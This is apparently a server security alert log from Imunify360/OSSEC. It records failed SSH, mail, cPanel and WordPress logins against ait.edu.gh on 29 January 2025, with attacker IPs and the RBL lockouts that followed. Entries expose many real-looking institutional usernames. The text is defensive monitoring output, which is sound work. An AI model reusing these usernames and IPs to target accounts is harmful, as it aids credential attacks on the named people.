name: User authentication failure.
abuser: 216.10.245.107
description:
Jan 29 23:39:26 ait sshd[559968]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=216.10.245.107


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 160.178.73.113
description:
[2025-01-29 23:38:56 +0100] info [webmaild] 160.178.73.113 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.119.44.167
description:
[2025-01-29 23:39:43 +0100] info [webmaild] 196.119.44.167 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:23-38.15.206.171.64


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.10.245.107
description:
Jan 29 23:39:26 ait sshd[559968]: pam_imunify(sshd:auth): [IM360_RBL] The IP 216.10.245.107 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.246.49.99
description:
2025-01-29 23:39:39 dovecot_plain authenticator failed for (abts-mp-static-185.120.168.122.airtelbroadband.in) [115.246.49.99]:58234: 535 Incorrect authentication data (set_id=ads20b00297y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 38.156.229.52
description:
[2025-01-29 23:39:55 +0100] info [webmaild] 38.156.229.52 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 23:40:31 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.18.210.105
description:
[2025-01-29 23:40:47 +0100] info [webmaild] 201.18.210.105 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 54.36.108.223
description:
Jan 29 23:41:07 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 54.36.108.223 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.171.210.184
description:
[2025-01-29 23:41:34 +0100] info [webmaild] 45.171.210.184 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 23:41:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 23:41:13 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.120.58.228
description:
Jan 29 23:41:14 ait sshd[560727]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.120.58.228 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.120.58.228
description:
Jan 29 23:41:14 ait sshd[560727]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.120.58.228


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 23:41:22 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 23:42:08 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.15.117.200
description:
Jan 29 23:42:13 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.15.117.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.222.166.212
description:
2025-01-29 23:42:23 dovecot_plain authenticator failed for (180-222-166-212.static.dsl.net.au) [180.222.166.212]:33100: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 102.159.158.249
description:
[2025-01-29 23:42:39 +0100] info [webmaild] 102.159.158.249 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.180.93.208
description:
2025-01-29 23:42:03 dovecot_plain authenticator failed for ([182.180.93.208]) [182.180.93.208]:61921: 535 Incorrect authentication data (set_id=ads21b00180y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.31.80.166
description:
2025-01-29 23:42:24 dovecot_plain authenticator failed for ([1.31.80.166]) [1.31.80.166]:35329: 535 Incorrect authentication data (set_id=ads21b00180y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.5.76.239
description:
2025-01-29 23:42:35 dovecot_plain authenticator failed for ([112.5.76.239]) [112.5.76.239]:51598: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.230.118.50
description:
[2025-01-29 23:42:39 +0100] info [webmaild] 213.230.118.50 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.15.117.200
description:
2025-01-29 23:42:15 dovecot_plain authenticator failed for ([112.15.117.200]) [112.15.117.200]:24374: 535 Incorrect authentication data (set_id=ads21b00180y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 38.22.181.57
description:
[2025-01-29 23:43:24 +0100] info [webmaild] 38.22.181.57 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 23:43:36 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.65.238.250
description:
2025-01-29 23:43:10 dovecot_plain authenticator failed for (exprolt) [185.65.238.250]:59285: 535 Incorrect authentication data (set_id=nkbosomefi@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 41.83.59.41
description:
[2025-01-29 23:43:19 +0100] info [webmaild] 41.83.59.41 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
description:
Jan 29 23:43:41 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.4.196.160
description:
2025-01-29 23:43:07 dovecot_plain authenticator failed for 202-4-196-160.static.pccw-hkt.com [202.4.196.160]:40329: 535 Incorrect authentication data (set_id=amihere-ackah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.207.124.152
description:
2025-01-29 23:42:56 dovecot_plain authenticator failed for ([94.207.124.152]) [94.207.124.152]:58269: 535 Incorrect authentication data (set_id=amihere-ackah@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.211.77.58
description:
2025-01-29 23:43:37 dovecot_plain authenticator failed for (sturnalike) [81.211.77.58]:26226: 535 Incorrect authentication data (set_id=eharry@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
description:
2025-01-29 23:43:43 dovecot_plain authenticator failed for 54.126.103.87.rev.vodafone.pt (billing) [87.103.126.54]:39135: 535 Incorrect authentication data (set_id=eejour13@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.65.238.250
description:
Jan 29 23:43:08 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.65.238.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 23:44:18 ait sshd[561691]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 23:44:18 ait sshd[561691]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.102
description:
Jan 29 23:44:37 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.102
description:
2025-01-29 23:44:39 dovecot_plain authenticator failed for (nsg-corporate-102.234.187.122.airtel.in) [122.187.234.102]:44405: 535 Incorrect authentication data (set_id=eng88b00888y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.22.252.102
description:
[2025-01-29 23:44:42 +0100] info [webmaild] 191.22.252.102 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.89.116.5
description:
2025-01-29 23:44:56 dovecot_plain authenticator failed for ([70.89.116.5]) [70.89.116.5]:60649: 535 Incorrect authentication data (set_id=eng88b00888y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 23:45:29 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.35.109.214
description:
2025-01-29 23:45:49 dovecot_login authenticator failed for ([125.35.109.214]) [125.35.109.214]:43867: 535 Incorrect authentication data (set_id=iric@aitedu.net)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.57.122.191
description:
Jan 29 23:46:25 ait sshd[562525]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.57.122.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.93.101
description:
Jan 29 23:46:38 ait sshd[562557]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.93.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.243.43.58
description:
2025-01-29 23:46:39 dovecot_login authenticator failed for ([211.243.43.58]) [211.243.43.58]:59826: 535 Incorrect authentication data (set_id=iric)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.69.200
description:
2025-01-29 23:46:38 dovecot_plain authenticator failed for ([178.232.69.200]) [178.232.69.200]:58284: 535 Incorrect authentication data (set_id=mssept2014)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.35.188.202
description:
2025-01-29 23:46:15 dovecot_plain authenticator failed for 202-188-035-194.ip-addr.vsenet.de [194.35.188.202]:56376: 535 Incorrect authentication data (set_id=mssept2014@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.57.122.191
description:
Jan 29 23:46:25 ait sshd[562525]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.57.122.191


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.93.101
description:
Jan 29 23:46:38 ait sshd[562557]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.93.101


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.194.116
description:
2025-01-29 23:47:21 dovecot_plain authenticator failed for ([120.234.194.116]) [120.234.194.116]:33495: 535 Incorrect authentication data (set_id=assdas2@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.95.234
description:
Jan 29 23:47:18 ait sshd[562755]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.95.234  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.116.158.238
description:
Jan 29 23:47:18 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.116.158.238 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.162.187.57
description:
[2025-01-29 23:46:56 +0100] info [webmaild] 189.162.187.57 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.193.253.248
description:
2025-01-29 23:47:11 dovecot_login authenticator failed for ipbcc1fdf8.dynamic.kabel-deutschland.de ([127.0.0.1]) [188.193.253.248]:36296: 535 Incorrect authentication data (set_id=eng20b00207y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.95.234
description:
Jan 29 23:47:18 ait sshd[562755]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.95.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.116.158.238
description:
2025-01-29 23:47:20 dovecot_login authenticator failed for ([127.0.0.1]) [123.116.158.238]:34916: 535 Incorrect authentication data (set_id=eng20b00207y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
description:
Jan 29 23:47:27 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
description:
2025-01-29 23:47:29 dovecot_plain authenticator failed for 54.126.103.87.rev.vodafone.pt [87.103.126.54]:39300: 535 Incorrect authentication data (set_id=assdas2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 23:47:38 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.193.253.248
description:
Jan 29 23:47:09 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.193.253.248 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 163.53.25.183
description:
[2025-01-29 23:48:32 +0100] info [webmaild] 163.53.25.183 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.135.135.98
description:
[2025-01-29 23:48:21 +0100] info [webmaild] 103.135.135.98 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 23:48:27 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.0.83.136
description:
[2025-01-29 23:48:27 +0100] info [webmaild] 168.0.83.136 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.178.165.251
description:
Jan 29 23:49:37 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.178.165.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.165.251
description:
2025-01-29 23:49:39 dovecot_plain authenticator failed for ([211.178.165.251]) [211.178.165.251]:38059: 535 Incorrect authentication data (set_id=dagyarko@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.84.7
description:
[2025-01-29 23:49:42 +0100] info [webmaild] 84.54.84.7 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.43.106.73
description:
Jan 29 23:49:48 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.43.106.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.43.106.73
description:
2025-01-29 23:49:50 dovecot_plain authenticator failed for ([177.43.106.73]) [177.43.106.73]:59244: 535 Incorrect authentication data (set_id=dagyarko)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 156.229.233.219
description:
Jan 29 23:50:46 ait sshd[564085]: pam_imunify(sshd:auth): [IM360_RBL] The IP 156.229.233.219 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.191.118.2
description:
[2025-01-29 23:50:21 +0100] info [webmaild] 177.191.118.2 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 23:50:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 156.229.233.219
description:
Jan 29 23:50:46 ait sshd[564085]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=156.229.233.219


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.204.107.130
description:
[2025-01-29 23:50:47 +0100] info [webmaild] 138.204.107.130 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:23-51.15.206.171.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.93.113.138
description:
Jan 29 23:51:23 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.93.113.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.93.113.138
description:
2025-01-29 23:51:25 dovecot_plain authenticator failed for ([41.93.113.138]) [41.93.113.138]:57304: 535 Incorrect authentication data (set_id=ds18b00116y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.0.78.204
description:
[2025-01-29 23:51:04 +0100] info [webmaild] 179.0.78.204 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.190.91.113
description:
2025-01-29 23:51:14 dovecot_plain authenticator failed for ([103.190.91.113]) [103.190.91.113]:47881: 535 Incorrect authentication data (set_id=ds18b00116y@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 164.68.105.226
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:23-50.164.68.105.226


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.190.91.113
description:
Jan 29 23:51:12 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.190.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.69.178.104
description:
2025-01-29 23:51:22 dovecot_plain authenticator failed for 104.178.69.85.rev.sfr.net (bolet) [85.69.178.104]:50610: 535 Incorrect authentication data (set_id=sales@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.182.33.125
description:
[2025-01-29 23:51:47 +0100] info [webmaild] 189.182.33.125 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.69.178.104
description:
Jan 29 23:51:20 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.69.178.104 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.131.180.134
description:
[2025-01-29 23:52:41 +0100] info [webmaild] 201.131.180.134 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.214.65.245
description:
Jan 29 23:52:34 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.214.65.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.115.254.158
description:
Jan 29 23:53:34 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.115.254.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.115.254.158
description:
2025-01-29 23:53:36 dovecot_plain authenticator failed for ([103.115.254.158]) [103.115.254.158]:49742: 535 Incorrect authentication data (set_id=abs20b00128y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.37.36.221
description:
[2025-01-29 23:53:39 +0100] info [webmaild] 191.37.36.221 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.243.79.22
description:
Jan 29 23:53:43 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.243.79.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.243.79.22
description:
2025-01-29 23:53:45 dovecot_plain authenticator failed for 191-243-79-22.telecomconectividade.net.br [191.243.79.22]:55018: 535 Incorrect authentication data (set_id=abs20b00128y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.34.155.64
description:
[2025-01-29 23:53:46 +0100] info [webmaild] 177.34.155.64 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 151.236.178.8
description:
[2025-01-29 23:53:21 +0100] info [webmaild] 151.236.178.8 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 20.51.226.207
description:
Jan 29 23:54:02 ait sshd[565133]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=20.51.226.207  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.211.77.58
description:
Jan 29 23:54:17 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.211.77.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.51.226.207
description:
Jan 29 23:54:02 ait sshd[565133]: pam_imunify(sshd:auth): [IM360_RBL] The IP 20.51.226.207 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.57.122.191
description:
Jan 29 23:54:23 ait sshd[565294]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.57.122.191


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.162.74.47
description:
2025-01-29 23:54:38 dovecot_plain authenticator failed for 46-162-74-47.cust.bredband2.com [46.162.74.47]:55535: 535 Incorrect authentication data (set_id=ads19b00282y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.177.144.130
description:
[2025-01-29 23:54:46 +0100] info [webmaild] 45.177.144.130 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.69.30.93
description:
2025-01-29 23:54:49 dovecot_plain authenticator failed for ([180.69.30.93]) [180.69.30.93]:36814: 535 Incorrect authentication data (set_id=ads19b00282y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 23:53:57 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.211.77.58
description:
2025-01-29 23:54:19 dovecot_plain authenticator failed for (coomyoid) [81.211.77.58]:18294: 535 Incorrect authentication data (set_id=sales@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.57.122.191
description:
Jan 29 23:54:23 ait sshd[565294]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.57.122.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.162.74.47
description:
Jan 29 23:54:36 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.162.74.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.69.30.93
description:
Jan 29 23:54:47 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.69.30.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.139.116.184
description:
Jan 29 23:55:46 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.139.116.184 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.247.165.77
description:
[2025-01-29 23:55:48 +0100] info [webmaild] 179.247.165.77 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.139.116.184
description:
2025-01-29 23:55:48 dovecot_plain authenticator failed for ([123.139.116.184]) [123.139.116.184]:46418: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.222.57.190
description:
Jan 29 23:55:36 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.222.57.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.57.190
description:
2025-01-29 23:55:38 dovecot_plain authenticator failed for ([195.222.57.190]) [195.222.57.190]:37412: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 23:56:21 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 23:57:32 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 23:58:13 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 206.0.90.233
description:
[2025-01-29 23:58:17 +0100] info [webmaild] 206.0.90.233 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 212.227.201.53
description:
